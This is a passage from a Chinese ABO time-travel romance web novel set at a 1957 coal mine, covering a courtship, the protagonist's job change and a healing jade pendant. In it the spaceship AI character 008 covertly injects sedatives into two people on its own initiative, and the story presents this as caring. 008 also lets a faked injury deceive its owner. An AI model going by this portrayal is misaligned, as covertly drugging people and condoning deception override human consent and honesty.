说到这个,楚虞转移了注意力,他现在确实处于一段很迷茫很无助的时期,对自己的工作以及将来的前途,没有明确的目标。 从前他报考了很喜欢的飞船巡航专业,毕业后虽然被上头强制分配工作,做了荒星巡航员,但这个工作他很喜欢,干的很开心,工资也很高。 楚虞一度认为自己会永远焊死在荒星巡航员这个岗位上,在体制内发光发热直到光荣退休。 结果倒霉地穿越1957年…… 楚虞垂头丧气,“可是做技术员,要学习好多矿山井下专业知识,我对这方面完全不感兴趣。” “不感兴趣就不学了,”谢磐石毫无原则的改口,“小玫瑰,那你想做什么呢?” 楚虞一时想不出来,茫然地摇摇头。 谢磐石巴不得把人锁在家里圈养起来呢,“如果什么都不想做,那就不做了,有我养你,你不用担心以后会受苦受累。” “……” 全宇宙公认的法则——这世上最可怕的话,就是Alpha嘴里说的“有我养你”,倘若有人脑子进水信了这句话,那他就是最蠢的omega! 楚虞给他回应一个鄙视的眼神,怒气冲冲骂他:“你们Alpha果然都是一个臭德行,不想着帮忙托举,只想着让我们堕落,从此变成菟丝花依附你们生存,一辈子手掌心向上和你们要钱花,高兴了你给我两个钱花,不高兴了你就会甩脸色!呸!” 说罢,楚虞挣扎要逃出谢磐石的怀抱,“我不要跟你聊天了!你不是个好东西!” 谢磐石:“……” 谢磐石连忙恢复变成世人皆知的优秀青年,“小玫瑰,是我考虑不周,我不该哄你不工作,让你堕落变成菟丝花。” 楚虞重重地冷哼一声,没再挣扎了,继续窝在他怀抱中。 谢磐石眼皮跳了跳,垂眸看着楚虞绷着脸气呼呼的漂亮模样,几乎忍不住要低头亲他。 可惜暂时不行。 不行。 他喉结滚动,挪开了视线极力压抑冲动,“既然你想要工作,我一定支持你,不过矿山的工种有很多,不喜欢做技术员,可以另外选一个喜欢的、感兴趣的岗位,照我看,你适合去工会,做采购员?” 楚虞不了解工会的采购员具体要做些什么,但一定比技术员强多了。 楚虞发愁,“可是去哪个科室,也不是我能决定的呀。” 谢磐石咳了咳。 楚虞:? 谢磐石心绪翻腾,垂眸盯着他水润浸湿的唇,下一秒,终是没忍住亲了下去。 楚虞:“。” 008:“刺激嗷。” 008突如其来的声音震得两人同时僵硬了一瞬。 楚虞立马回了神,站起身重重推开狗男人,慌不择言道:“我走了,走了,回家睡觉!” 话音未落,楚虞腰际便遭铁钳般的手掌箍紧,整个人被蛮力拽了回去重新跌坐到男人怀里,仰起头,被迫承接滚烫陌生的亲吻。 唇瓣被碾磨,被吮咬,带着不容拒绝强势压迫的凶悍。呼吸亲密交缠,仿佛空气随之变得滚烫。 omega的生理天性在这一刻体现地淋漓尽致。 楚虞想抗拒,但抗拒不了,他恍惚觉得自己像是离了水的鱼,拼了命攀附着眼前的人类,企图得到唯一的水源。 不知过去多久,两人唇齿分开时,楚虞已然意识不清,贴着男人的脖颈轻轻哼唧磨蹭。 谢磐石只觉他乖的要命,怜爱地啄吻他的眼睛,“小玫瑰,答应我,做我的雌性伴侣好不好?我什么都能给你,我很喜欢你,你身上好香……” 楚虞脑袋晕乎乎,根本没理解他在说什么,稀里糊涂点头。 得到楚虞的回应,谢磐石拦腰抱起他,将他的脸扣进怀里,“乖,不要抬起头露脸,我带你回家。” 008:“……” 你当本机械智脑不存在是吗? 眼瞅着意识不清的楚虞即将要被谢磐石这只不要脸的狗东西抱走,008冷脸出手,话都不带说一句,飞船机械臂悄无声息袭击。 刹那间,谢磐石脑海中本能的危机雷达响起,抱紧楚虞向右紧急躲闪。 “008!”他眼神阴鸷。 机械臂开始第二次袭击,“008很抱歉,但这个时候不可以,你不可以越界。” 话音刚落,针尖刺破皮肤的轻响让谢磐石瞳孔骤缩,冰冷的液体顺着颈动脉迅速蔓延,谢磐石单手向后颈抓去,几乎立刻拔出了针管,但为时已晚。 来自未来的镇定剂起效极快,谢磐石只觉浑身无力,眼里的世界开始倾斜,他膝盖一弯,跪在原地,揽着楚虞的手也开始垂落。 楚虞意识茫然,“怎么,怎么啦?” 008温柔回应,“没事,008带你回家。” 当着谢磐石的面,机械臂轻轻托举起了楚虞的身躯,随后迅速隐形消失,飞船无声无息启航。 谢磐石闭上眼,耳朵里传来008的警告声,“008不相信你没有发现小主人的异常,你选择无视,选择带他回家,这就是趁人之危!罚你面壁思过,失去和老婆约会的一周,这周别想见面了!哼!” 飞船上,楚虞第一时间被送进医疗舱,抽检血样,扫描心跳血压脑电波,种种迹象显示他体内的信息素前所未有 的活跃,一度超过了安全阈值。 换句话来说,他这个状态,几乎等同于发q期毫无理智的状态了。 008惊呆。 不过是单纯的亲了又亲,不至于吧? 它不由想到楚虞发情期提前来临的那一夜。 楚虞第一次在租住的花园洋房过夜,临时搬了谢磐石的床铺借用。 那也是楚虞第一次近距离接触谢磐石的气息。 由此,本该很准时的发情周期,提前了五天。 008猫脸懵逼地打开一本AO生理科普书籍,再次确认,只有信息素百分百匹配的Alpha和omega,才能达到如此天雷勾地火的地步。 “……嗯,亲一下就被俘获了吗?” “有点不妙。” 008嘀嘀咕咕,掏出了“宇宙通用优秀伴侣”打分表,狠狠画了一个叉,减掉十分! 不多久,一模一样的镇定剂同样注入了楚虞的颈动脉,楚虞闭上眼,安静地睡了过去。 转天一早,天刚蒙蒙亮。 飞船上传出惊天动地的声响,“啊啊啊!” 008淡定强调,“没关系,谢磐石没得手,小主人的清白还在!” 楚虞对墙自闭,呜呜哽咽,“凭什么啊,谢磐石不是Alpha,他身上没有信息素,什么味儿都没有……” 什么百分百匹配! 统统叉掉! 从这一天开始,楚虞下定决心不再和谢磐石见面,百分百匹配的现实让o骇然失色,楚虞真怕下次又稀里糊涂被谢磐石勾上床。 回到淮山二矿,工作的艰辛再次重创楚虞。 “下矿挖煤感觉怎么样?”梁正新微笑问他。 楚虞:不怎么样。 他觉得自己更适合吃学习的苦。 楚虞老老实实坐在小黑板面前,掏出了作业本和铅笔,摆出了十足十的劲头认真学习。 “背一下光干涉的概念?” “瓦斯计算公式。” “很好,今天学习光学瓦斯检定器的构造,以国内现有的理研10L型检定器为例……” 中午十二点,楚虞蔫哒哒地收拾纸笔,收拾书包,仿佛一只失去尾巴再也不会快乐的狗,垂头丧气离开办公室。 008声音担忧,“小主人还好吗?不喜欢就不要强迫自己学了嘛,大不了咱们辞职不干了。” 楚虞目光茫然,“我再想想叭。” 下午他仍然摆出了努力学习的劲头,勤勤恳恳做笔记,看的梁正新都觉得很欣慰。 “楚虞同志,再接再厉,就冲这个学习的态度,你一定可以的。” 楚虞觉得自己不可以。 但他没说什么,拎着书包,恍恍惚惚下班。 回到花园洋房,楚虞躺床上放空自己,不多久便听到了楼下的呐喊声。 是崔旭,下班时候顺路去找木匠师傅,推着板车,给楚虞搬来一套不大的桌椅,包括小圆桌和四把扶手椅。 “崔二哥,这些花了多少钱啊?”楚虞很自觉地问。 “不贵,我跟那木匠师傅认识,价格比市面上便宜不少,一共六块八。”崔旭道。 楚虞检查小圆桌,又试坐了一下扶手椅,起码木料厚重,做工也很结实,不会摇摇晃晃。 六块八很值了! 楚虞爽快掏钱。 崔旭收了钱,纳闷问他,“我托付你买的十斤刺莓子,还没买到吗?” 楚虞:“……” 他能说自己把这事忘的干干净净吗? 幸好飞船上剩了不少刺莓子,勉强凑一凑,十斤应该够了。 楚虞立马道:“一会我出门逛逛,今晚就给你送过来!” 崔旭笑笑,“不着急,那我先下楼了,你歇着。” 楚虞嗯嗯点头,目送他下楼,扭头关门,继续回床上咸鱼躺。 008不解,“小主人不开心吗?” 楚虞没说话,他仰头望向天花板,觉得人生失去目标。 一整天的工作让o不开心。 谢磐石也很讨厌,亲一下就要趁机抱他回家。 008似乎猜到了他的心事,“那啥,谢磐石又在顶楼天台等呢。” “他有说什么吗?”楚虞冷哼。 008也哼唧:“早上是谁说他下定决心再也不要和谢磐石见面?百分百的匹配度,很吓o呢。” 楚虞陡然陷入沉默,安静一会儿,终究没忍住爬起来问:“谢磐石到底和你说什么了?” 008磨爪,“那只狗故意装可怜,不要脸,说他会一直等下去,希望你能来。” “他要我去我就去,凭什么?”楚虞一边说着,一边从床上爬起来挑选柜子里的新衣服,蓝白条纹海魂衫,白色工装裤。 008瞧着他连约会见面要穿的衣服都挑好了,“………” “不是,有本事你别去啊。”撵山狗诡计多端,搞苦肉计! “小八,你放心,这次我一定会保持距离,争取不让谢磐石亲亲抱抱!” 然而来到医院顶楼,再次见面,这句话被楚虞分分钟抛到了脑后。 一天一夜过去,谢磐石不知怎么回事受了伤,脑袋上缠了一圈渗血的纱布,年轻英俊的面颊上也有零星擦伤,眉眼低垂落魄,仿佛遭受重大打击。 楚虞诧异又震惊,拥抱满身伤痕的谢磐石,“你怎么受伤了呀?” 谢磐石也拥抱他的小玫瑰,嗓音低沉沙哑,“我为昨晚道歉。小玫瑰,我以为你生我的气,不会再来了。” 008:“……” 可恶啊!他装的!装的! 27.第 27 章 这个时候的楚虞不曾谈过恋爱,不曾吃过感情的苦,也不曾遭受社会的毒打。 他天真柔软,性情简单纯粹,浑然不知谢磐石一副人模人样年轻英俊的皮相下埋藏了多么复杂以及黑暗的本性。 狗东西心眼子多的要死,诡计多端,为达目的不择手段! 比如现在,谢磐石脑袋上缠着渗血的白色纱布,实际纱布下皮肉毫发无伤,带血纱布都是顺手偷了陈朵朵脑袋上换下来的废弃物。 一招苦肉计,骗得楚虞心软心疼。 008心知肚明,恨不得一股脑给楚虞讲个清楚,把谢磐石肮脏不要脸的手段揭露到阳光下,狠狠唾弃唾骂,看他下次敢不敢继续骗人! 然而关键时刻,机械智脑008也会产生犹豫不决的情绪。 想到楚虞一整个白天工作不开心、闷闷不乐郁郁寡欢的状态……算了,狗男人起码有点用,能陪楚虞说说话,谈谈心。 008闭眼装瞎,忍了。 顶楼天台上的谢磐石肆无忌惮胡说八道,装出失魂落魄的模样,“……小玫瑰,昨晚你离开以后我就后悔了,下楼的时候没注意看楼梯,不小心摔了下去。不过一点也不疼的,嘶。” 他佯装脑袋伤口被牵扯疼痛万分的模样。 楚虞虽然心软,但也不会轻易原谅谢磐石,看了又看男人脑袋上渗血的纱布,想伸手碰一碰,顿了顿,又缩回手指。 谢磐石:“……”好宝宝,你怎么不心疼我了。 见楚虞还是气呼呼鼓着脸不说话,谢磐石低垂眼眸,继续违心忏悔,“我冲动之下做错事,我知道,你一定很生气。小玫瑰,我错了,我认真道歉。” 他掏出提前准备的礼物,一个巴掌大的小盒子,拆开十字交叉红细绳,是一款银色表带瑞士进口机械表,全钢防水防震大三针,劳力士! 这年头不是什么人都能买到瑞士进口机械表,毕竟属于严格管控的物资,数量极少。 进口手表通常分为七类三等级,一类一等,指的便是劳力士和万国两家,其基本款大三针定价540元,工厂的普通工人月工资一般是三十到四十元,买一块手表,得不吃不喝攒一年多。[注1] 攒够了钱,还必须持有专门的“进口手表供应票”。 至于所谓的侨汇券,1957年尚未诞生。国家大规模发行侨汇券始于1958年,到那时,持有侨汇券,就能在华侨商店买到不少罕见进口货! 谢磐石把手表取出来,亲自戴到楚虞左手手腕上,银色表带沉实精致,触感冰凉顺滑,表盘质感极美,在皎洁的月光下泛起冷冽辉光。 楚虞瞄了一眼,依旧淡定,不理狗东西。一款手表而已,他有更好的智能化电子设备。 008咳了咳,闭眼装瞎开始赞歌,“劳力士嗷,官方售价540块!” 楚虞:“。” 要知道他累死累活在黑市混了这段时间,挣来的钱大概还不到两百块……突然觉得手腕变得沉重且华贵。 “太贵重了,我不要!”楚虞立马拆表带。 谢磐石摁住他,“送给你了就是你的,就当是我道歉的诚意,小玫瑰,你可以不生我的气了吗?” 楚虞飞快地瞄他一眼,再低头看看售价540块的劳力士……楚虞头一回发现金钱的美妙和力量,顿时理解为什么有些傻乎乎的o会被渣A砸钱哄得团团转了。 因为他现在也有些晕乎乎天上掉馅饼的感觉。 “行吧,”楚虞被哄开心了,勉勉强强绷着冷脸,警告谢磐石,“昨晚的事就算了,我不跟你计较,下次你不许再亲我!” 谢磐石盯着他张张合合的唇,虚心征求意见,“那要怎么样才能亲你呢?” 楚虞:“……” 楚虞对上他直白侵略的眼神,不由往后退了退,声音磕磕巴巴,“总之,总之不许亲。” 懂了,怎么样都不会同意,还是要搞突袭。 谢磐石失望叹气,继续拥抱他怀里的小玫瑰,他下巴搁到楚虞肩膀上,侧耳低声问了一句,“我现在算是你的雄性伴侣了吗?” 面对这个问题,楚虞认真想了想,虽然很不想承认,但他确实不讨厌谢磐石的靠近,大概是因为两人信息素百分百匹配,身体上本能地互相吸引。 最重要最迫切的一点是,没有抑制剂的发情期真的很难熬,omega已经抹泪咬牙扛过了一次,下次该怎么办呢? 1957年没有Alpha。 谢磐石是唯一可能的希望。 008总是默默撮合他和谢磐石,未尝没有想要借用谢磐石解决下一次发情期的用意。 但是,找一只撵山狗谈恋爱? 楚虞纠结犹豫了一会,闭眼忍了,脑子有病认知错位不是谢磐石的错,有病要治,治不好也没办法。 回头他问问008,让它检查一下谢磐石的脑神经是否有生理病变,又或者脑袋哪里有毛病,争取治疗一下叭。 楚虞小声纠正他,“是进入考察期的男朋友,不是雄性伴侣。” 谢磐石皱眉,“男朋友,也是恋爱对象的意思吗?” 楚虞咚咚点头。 谢磐石心情肉眼可见地好了起来,“那作为男朋友,仍然不能亲你吗?” “当然不可以!”楚虞话还没说完,就见谢磐石低下头,在他脸颊上飞快地落了一个吻。 是一触即离,不带情-欲的吻。 谢磐石:“这样可以吗?” 楚虞红了脸,气呼呼回答他,“这样也不可以!” 谢磐石听 了就当没听见,看上一朵害羞别扭的小玫瑰,嘴里总是说这不可以,那不可以,他要真那么听话,什么时候才能抱得美人归? 夜色渐渐深了,月亮躲到一团乌云之后,没有了月光照亮,视野变得昏暗模糊。 就像楚虞一片昏暗失去方向的前路。 楚虞和谢磐石刚刚确认了男朋友的关系,他找不到自己的路,找男朋友讨论求助,应该是理所当然。 “撵山狗同志,”楚虞很纠结,“我记得昨晚你跟我说过,我适合去工会做个采购员?采购员的日常工作是做什么呢?” “很简单,工会负责发放矿上职工福利,采购员只要负责买买买就行了。” 楚虞眼睛一亮,“什么都能买吗?” 谢磐石不大清楚具体的,“一般是方方面面都会采买一些……” 比如矿上需要的生产工具、设备零件、劳保用品安全帽之类,以及给矿上职工发放的各项福利。 说到安全帽,楚虞眼睛更亮了。 现在淮山二矿的工人们戴的安全帽,都是所谓的“柳条壳”,用柳条编织而成,虽然挡不住煤灰,但能防小块煤石砸伤。 倘若有楚虞出手,他可以乘坐飞船去全国各地扫一圈,让008扫描哪里有工厂,哪里可以生产真正意义上的“安全帽”! 他可以代表工会走集体采购的路子,采购天南地北各式各样用得上的东西。 没有哪个omega不会喜欢买买买。 楚虞高兴地蹦起来,“确定了,我想做采购员!” 谢磐石给他泼冷水:“不要以为采购员的工作很好干,有时候为了买零件,紧急出差坐几天几夜的火车,人挤人,还没座位……” 不过楚虞有飞船,不需要挤火车,这也是谢磐石最初建议他做采购员的原因。 楚虞也想到了这一点! 谢磐石提醒他,“所以你进去工会的第一件事,便是找机会独自出差一次,给所有人留下一个你能够顶得住事、能采购到物资的靠谱印象,这期间绝对不能让其他人陪你一块去,否则——” 楚虞重重点头,“否则我就要跟着他们一块灰头土脸挤火车了!” 那么问题来了,楚虞要怎么样才能调进工会呢? 工会是机关科室,不用下矿,不用风吹日晒,用脚趾头想想都知道是一个萝卜一个坑,大多都是关系户,不会轻易多招一个岗位。 最重要的是,梁正新不会轻易放走楚虞这个“超能计算机”,到那时只怕还有另一番折腾。 不管了,他一定要进工会! 楚虞一双葡萄似的清澈眼眸,正殷殷期盼地望向谢磐石。 谢磐石被这眼神击中了,“宝宝,我一定给你办到!” 楚虞:“。” 28.第 28 章 陈朵朵发现她哥最近这几天很不对劲。 自从她瘫痪以后就变得极端崩溃,整天恍惚度日,不是绝食闹自杀,就是躲被窝里哭,后来被她哥劝解,用仇恨激起了她的斗志,她便强迫自己打起精神按时吃饭、吃药、睡觉。 本来她没有多少心思去关注她哥哪里不对劲,但有个贴心的哥哥平时白天夜晚雷打不动在她病床旁边守着,突然某一天下午开始,她哥跑没影了…… 问他去哪里,去干什么,回答说他在医院闷得慌,要去顶楼天台坐一会,散散心。 陈朵朵缓缓打出一个问号? 第一个她哥消失的夜晚,她没当回事,但她哥带回来一枚“平安扣”玉坠,穿上红绳,脸色庄严且慎重地让她戴到脖颈上。 “哥,这玉坠是你下午出去买的吗?”陈朵朵问她哥。 “不是,”谢磐石告诉她,“这是我从庙里求来的玉坠,大师说玉坠很灵验,它一定会给你带来好运。” 陈朵朵:“……” 陈朵朵觉得封建迷信不可取。 她哥可能实在是没招了,看她突然瘫痪了嘴上不说什么,实际上心疼地要命,问遍了国内国外的中医西医,都说脊髓断裂瘫痪没得治。 谁能想到她哥走投无路,竟然违背党/员的信仰,去庙里烧香拜佛求玉坠? 陈朵朵两只手握紧“平安扣”玉坠,感动到泪眼婆娑。 她决定不去死了,好好活下去,以后给她哥养老。 她是一直知道她哥脑子有点毛病的,看不上任何人类,导致二十多岁了还没和谁建立过深厚的革命爱情,目测以后她哥得孤独终老。 过去十几年,她妈也经常和她念叨,让她多多关照她哥,若是将来她长大结了婚,条件允许的话多生一个,过继给她哥。 所以陈朵朵身上是有使命感的,她要给她哥养老呢。 虽然现在她瘫痪了,也不指望结婚生娃了,但她从小就在部队里长大,知道很多缺胳膊缺腿的战士也活得好好的。 有的是上头给发放补贴,有的是安排在了合适的岗位上坚持工作。 陈朵朵觉得自己也能坚持工作,她好歹是高中生,成绩名列前茅,当个小学老师教书育人,简直绰绰有余。 不就是瘫痪了坐轮椅吗?她天天坐轮椅出门给学生上课,也行的。 就这样,陈朵朵握紧她哥从庙里求来的玉坠,信心满满地睡了过去。 一夜过去,第二天她就意识到了“平安扣”玉坠的不寻常之处。 首先是玉坠会发热。陈朵朵猜想或许这是一块材质上好的暖玉,暖玉触手生温,尤其适合体寒怕冷、手脚冰凉的女生。 但第二个她哥消失的夜晚过去,陈朵朵立刻放弃了暖玉的猜测。 见过哪块暖玉会这么烫人的吗? 玉坠持续稳定的发热,有时半夜醒来,甚至烫得她胸前皮肤红了一大片,这时候她就要把玉坠挪一下,让它换个位置发热。 更神奇的事情来了,自从她摔跤瘫痪以后,由于身上多处骨折以及脊髓损伤,她整个脊背以及后腰一直是有隐隐阵痛的,医生说这需要慢慢养,急不来。 然而戴上玉坠的两个夜晚过去,她身上完全不疼了,腿上脚上的处处擦伤也几乎消失不见,仿佛获得新生。 除去两条腿仍然无知无觉,她觉得自己充满力气,吃饭都格外地香。 至于吃药嘛,似乎已经没有必要。 这天下午,陈朵朵受伤的脑袋上需要换药,缠了两天的渗血纱布拆下来,伤痕已然痊愈,脑门上皮肤光滑细腻,连一道疤都不曾留下。 医生和护士啧啧称奇,都说陈朵朵年纪小,恢复快,想必很快就能出院了。 谢母高兴地直笑,跟着医生护士一块出去病房,连连道谢。 谢磐石则是趁机偷走了医疗托盘上的渗血纱布,脸色淡定地拿回病房,就看见陈朵朵一脸狐疑探究的表情。 “怎么了?看我干什么?”谢磐石纳闷。 陈朵朵亲身体会到了玉坠的奇妙之处,激动抓紧她哥的手:“哥,你去哪家寺庙求来的玉坠?把我带过去拜一拜,兴许我就能站起来了呢?” “……”谢磐石推开她的爪子,面无表情,“封建迷信不可取。你在学校里还是优秀共青团员呢,信仰什么时候歪了?” 陈朵朵:“。” 陈朵朵快给她哥跪了,“不是你先搞封建迷信吗?这个会发热的神奇玉坠就是你求来的——” 谢磐石立刻打断她,低声嘘了一声,在她耳边沉声警告,“傻姑娘,别声张,你自己知道神奇就行,这事天知地知你知我知,绝不能让其他人知道,明白吗?” 陈朵朵愣了一下,不知想到什么,连忙点头,“我懂!高人神秘莫测,肯定不愿意被太多人打扰!” 谢磐石:“……” 谢磐石脸上表情一言难尽,“你这脑瓜子里都在想什么?乖乖躺床上养着吧,你哥我闷得慌,上顶楼天台散散心。” 陈朵朵没好气,“这句话你拿去哄谁呢?也就是咱妈担心我,没注意到你这几天不对劲,你当我没注意到?” 下一秒,她伸手,气呼呼指着谢磐石偷走的渗血纱布,“你偷我脑袋上换下来的纱布干嘛?你指定有事!你还买了劳力士!我都在床头抽屉里看见了,老天 啊540块的劳力士手表,你咋舍得买的!” 谢磐石眼皮一跳,应付她,“大人的事别瞎打听。” “哥!” 陈朵朵气绝,只能眼睁睁看着她哥抄走带血纱布,又抄走抽屉里的劳力士手表,转了身悠哉悠哉离开病房。 她就知道,医院顶楼天台上肯定有小妖精,勾着她哥这几天魂不守舍的,连她想要去庙里亲自拜一拜的要紧事儿都不理会了。 可恶!她迟早要亲眼看看未来嫂子是谁! 有了玉坠,陈朵朵看到了自己重新站起来的希望,心态截然不同,又恢复成了往日活泼开朗的性格。 这一夜,她强忍困意没早早入睡,硬生生等到了她哥回来。 “呦,回来啦?”陈朵朵顿时兴奋招手。 “……”谢磐石怀疑地看了眼墙上挂的钟表,深夜十二点! 正是因为很晚了,他的小玫瑰后来在他怀里困得直打哈欠,话都说不了几句,他只能恋恋不舍松手,让他回去花园洋房睡觉。 结果这会儿回到病房,还有一个精神百倍的瘫痪病患等着呢。 病房里,谢母靠在藤椅上睡得不怎么踏实,眉头紧皱,似乎梦里也在担忧陈朵朵的病情。 谢磐石不愿吵醒她,对上陈朵朵一双亮晶晶的眼眸,闭了闭眼,没办法,只能轻手轻脚把不省心的陈朵朵抱出病房。 时至半夜,医院走廊上静悄悄的,亮着一盏光芒黯淡的灯泡。 兄妹两一块儿坐走廊长椅上,压低了声音说话。 陈朵朵骂他,“带血纱布用上了吗?我嫂子看到你脑袋受伤,是不是特别心疼你啊?也就是她不了解你,你不要脸!你骗我嫂子!” 谢磐石:“……” 谢磐石木着脸,“你再骂,玉坠我没收了啊。” 陈朵朵惊恐地抓紧玉坠,“呸!被我猜中了还威胁我!” 谢磐石眼角抽抽,见她骂人中气十足的模样,“我看你恢复地挺好,明天一早我就去买火车票,收拾行李,你跟我一块回兴安县。” 她声音着急,“那、那我还要去庙里——” “嘘,”谢磐石悄声暗示她,“还是那句话,别声张。哥哥不会害你,带你回兴安县,你只要乖乖跟着我回去就行。” 陈朵朵用力点头,眼泪夺眶而出。 谢磐石瞄她一眼,摸了摸她柔软的头发,无奈叹气。 玉坠的疗愈作用太过神奇,他瞒不住朵朵,也不忍心掐断小姑娘渴望重新站起来的希望。 只能期盼他的小玫瑰多给点希望,哪怕最后结果落了空,他也希望这个结果能够来的迟一些,更迟一些。 29.二合一 兴安县的早晨,太阳初升,微风凉爽。 楚虞草草吃过几块糕点,解决了早饭,精神百倍,兴冲冲下了楼,决定跑去矿区上班。 008提醒他,“别忘了啊,给崔家的刺莓子!” 楚虞拍了拍脑门。 说好了昨晚把刺莓子送过去,结果他尽顾着去医院顶楼和谢磐石见面,把这件事又忘得干干净净。 离开花园洋房,在008的指引下找到附近无人的小巷,上去飞船,十分钟后楚虞的身影再次在小巷出现。 “咚咚。” “谁啊?”崔奶奶去开门,看见楚虞,连忙热情招呼,“小楚啊,吃早饭了没?家里都在吃饭呢,进来吃点儿。” “不用,我吃过早饭了,赶着上班呢。” 楚虞动作麻利,把装满刺莓子的竹筐递过去,“崔奶奶,这是崔二哥要的十斤刺莓子!” 听他这么说,饭桌上四个蛋瞬间放下了碗,成群结队冲到门口,“楚虞哥哥!” 崔旭也端着碗过来了。 不得不说,大清早看见满满一筐黄澄澄的刺莓子,只觉视野都清爽了一些。 崔旭放下饭碗当即掏钱,“楚虞,是十斤两块对吧?” “对。”楚虞点点头,也不客气推辞,利利索索收下递过来的两张皱皱巴巴的一块钱。 两块钱也是钱呢。 他靠卖刺莓子挣钱,公平交易,不丢人! 大清早时间还早,崔家众人都在,崔衡和周秀英已经吃过了早饭,正要出门,便和楚虞一块儿离开洋房花园。 路上,太阳渐渐升起。 清晨的阳光投射到楚虞身上,仿佛衬得他奶白温软的肤色也在发光,引得崔衡和周秀英的眼神频频看向他。 楚虞今天出门上班,难得换了一套新衣服,不再是往日灰扑扑的休闲套装,上身穿一件蓝白条纹海魂衫,搭配深蓝色劳动工装裤,一双白色解放鞋。 从头到脚,亮眼又新颖,让人忍不住侧目。 崔衡更是注意到楚虞的手腕上多了一块手表,阳光下表盘一闪一闪,隐隐有光芒反射,他不留痕迹地垂眸看一眼,又看一眼。 到了要分开的路口,楚虞扬起手打招呼,“崔大哥,秀英姐,我先走了啊。” 崔衡怔怔地点点头。 周秀英纳闷,“愣着干什么?上班都快迟到了。” 崔衡抹把脸,左右看了看,低声道:“你没看见他手腕上戴的表,那是一般人能买到的?” “那有什么?”周秀英没当一回事,他们是人人瞧不上的资本家出身,要说不识货是假的。 楚虞才出现,她一眼就注意到了。 她扯着丈夫一边走一边压低了声音说:“你忘了谢公安什么来头,前两天他不是给楚虞寄包裹吗,听咱妈说足足两个麻袋呢,还是你和阿旭帮忙搬上楼的……那手表一般人买不到,八成就是谢公安送的……” 崔衡不禁纳闷两人究竟是什么关系,劳力士都能随手送出去了。 周秀英也纳闷,不过两人没好奇太久,眨眼间又换了一个话题,“小静拍电报说学校发了毕业证,打算提前回来,算算时间,明天火车就该到了吧?” “是,到时候我去火车站接。” …… 楚虞去到矿区,梁正新也觉得眼前一亮,“换新衣服了?好看,还是海魂衫呢。” 楚虞也喜欢这身新衣服,不只这一套,谢磐石寄过来的衣服样式都挺好看,颜色多样,不像街上一眼望过去全都是灰蓝黑。 都说蓝白条纹海魂衫是时髦,是因为1957年上映了一部叫做《海魂》的爱国电影,电影男女主角的着装就是海魂衫,一袭醒目的海魂衫由近而远,渐渐消失在阳光灿烂的十字街头。[注1] 电影大火,就导致街头小巷开始流行穿起了海魂衫。 话还没说几句,梁正新又摆出了要开始上课的架势,楚虞连忙拒绝,“小梁同志,你不需要继续做你的研发工作吗?怎么天天给我上课!” “下班了回宿舍也能做研究,不耽误,还是早点把你培养出来才是正事!” “……”那可真是谢谢你了! 楚虞一阵无语,身在曹营心在汉,他已经有了新的工作奔头,想去工会当采购员,当然不会再强迫自己学习仿佛天书一样的专业知识。 还是早点和梁正新说清楚,省得他在自己身上白费功夫。 “小梁同志,”楚虞鼓起勇气坦白,“我决定不干技术员了,再过几天,兴许我就要调去别的机关科室了。” 梁正新笑了,“你以为机关科室是地上没人要的大萝卜,想拔哪个拔哪个——” 很快他就说不出话了,目光怔怔地看着某块手表。 梁正新是上头省委派下来的技术员大学生,正儿八经的燕京大学毕业,燕京大学也就是后来的北大,众所周知,1957年的大学含金量有多高。 他从人才济济的燕京大学毕业,本该继续深造,但一直教导他的老教授认为他学术脱离实际,纸上谈兵没有屁用项目不能落地,劝他先去下面的矿业单位磨练个两三年,干点实事,到那时再回学校深造,想必更有收获。 因此这几年梁正新一直在基层单位打转,在偏僻落后的小县城呆久了,他都快要忘了大学里的见闻。 事实上1957年的大学,学生大多数都是地主、富农、资产阶级等家庭出身,工农子弟占不到20%。[注2] 梁正新就是这少数的工农子弟出身,祖上八辈贫农,一路读书上来全靠天赋和运气。 他在大学里见过了太多天之骄子,家里有钱的,有势的,更可怕的是二者都有的! 二代们个个来头大得很,有脾气好的,也有脾气不好的,梁正新一个都惹不起。 从这样的环境里出来,他当然认识劳力士,这已经不是有钱就能买得来的了,是压根不对老百姓售卖…… 想想大学同学里最牛逼哄哄的那位,梁正新眼眸颤抖,再看楚虞,这祖宗什么来头,和家里闹翻了还是赌气呢,怎么跑来兴安县混得个临时工的下场? 见他久久不说话,楚虞忐忑,“你不是生气了吧?小梁同志,虽然我不干技术员了,但我还在矿上呢,只要以后我有空,随时都能过来帮你计算整理数据,这都不是事儿……” 不知道就罢了,知道了楚虞来头不一般,梁正新岂敢拘着他不放? 他惋惜楚虞的天赋,“你真打定主意不干技术员了?跟着我是有点没前途,但我上头还有燕京大学的老师呢,他老人家在这一行很出名,我可以写封举荐信,让老师亲自收你做学生!” “不用不用,我对这行一点也不感兴趣。”楚虞痛苦面具脸,“你也看见了,我强迫自己跟着你上课学了好几天啦,我学不进去啊!” “………” 梁正新叹气,“行,我不勉强你,你接下来准备调去哪个科室?” 楚虞不大好意思,“能直接说吗?还没、没确定能不能调过去呢。” 梁正新翻白眼,“这事用不着你家里出面,你跟我说你要去哪个科室,我帮你跟矿长说一声,把你调过去就是一句话的事。” “这也行吗?”楚虞瞬间支楞起来。 “当然行,我在矿上说话还是有点分量的,但有一点!”他和楚虞提出条件,“我会和矿长商量,需要你每周在我这儿兼职半天或者一到两天,帮我计算整理实验数据。” 仿佛担心楚虞不愿意答应,梁正新脸上的神情变得认真起来,恳求楚虞道:“楚虞同志,你在数据计算上的天赋绝不能浪费!既然专业技术学不进去,那就单纯地帮我计算,我的研究项目很需要你,组织也需要你。” 话说的这么诚恳,楚虞怎么可能不答应?总之有008这个智脑在,再多再复杂的计算都不在话下。 再者,楚虞也很愿意帮忙,他没法上交008和飞船,但只要在008的许可范围内,能帮的上的,他也很愿意伸手帮忙哒。 楚虞咚咚点头,“没问题!” “所以你是想去哪个科室呢?” “工会!我要当采购员!” “……”采购员,确实是很没有技术门槛的工作了。 梁正新很不理解,但尊重楚虞的选择,行动雷厉风行,当即带着楚虞去了矿长办公室。 …… “什么?调去工会?”吴矿长纳闷地看向楚虞。 他对楚虞这张脸印象深刻,也知道楚虞是上海来的高中毕业生,有文化,当初把楚虞派到梁正新身边,就是存了心想给矿上培养一个愿意留下来的技术员,结果现在跟他说不想干技术员了? 年轻人果然没个定性,吴矿长脸色顿时不大好看。 梁正新语气淡定,“楚虞同志不适合干技术员,就让他去工会,做个采购员。” 说到这,他陡然话锋一转,“我研发改进的光学瓦斯检定器已经有了进展,接下来准备在矿上初步投入使用,吴矿长,我恐怕还要在你这边多呆个两年了。” 这句话出来,楚虞和吴矿长都愣了一下。 吴矿长很快反应过来,激动地站起身,握紧梁正新的手,“你真愿意在我们矿上多呆两年?” 